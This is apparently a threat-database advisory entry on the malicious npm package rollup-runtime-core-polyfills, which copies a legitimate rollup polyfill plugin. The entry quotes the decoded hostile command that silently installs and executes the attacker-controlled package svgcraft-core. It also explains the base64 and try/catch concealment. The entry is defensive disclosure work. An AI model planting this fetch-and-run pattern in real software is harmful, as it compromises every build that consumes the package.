Threats Tagged 'mal-2026-11145'
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Threats Tagged 'mal-2026-11145'
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Malicious code in rollup-runtime-core-polyfills (npm) 0 --- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (868d4b253cfa762cd40d8064b3a99cbed00203fbed19402d5033551720690199) The package presents itself as a rollup polyfill plugin and copies the source of rollup-plugin-polyfill-node (repository field points to FredKSchott/rollup-plugin-polyfill-node), but dist/index.js appends a top-level block that decodes a base64 literal to the command `npm install svgcraft-core --no-save --silent --no-audit --no-fund`, spawns it via child_process.spawn, and on completion calls `require('svgcraft-core').getPlugin()()` — the module name is also base64-encoded. This runs on every require()/import of the plugin, so any build that consumes this package pulls and executes whatever code is currently published under the attacker-controlled npm name svgcraft-core. The base64 wrapping of both the shell command and the require target, and the try/catch that swallows errors, are deliberate concealment on top of a name that closely resembles the legitimate rollup-plugin-polyfill-node. Join the discussion | GCVE Database | 07/28/2026, 13:39:23 UTC Added: 08/05/2026, 15:30:55 UTC |
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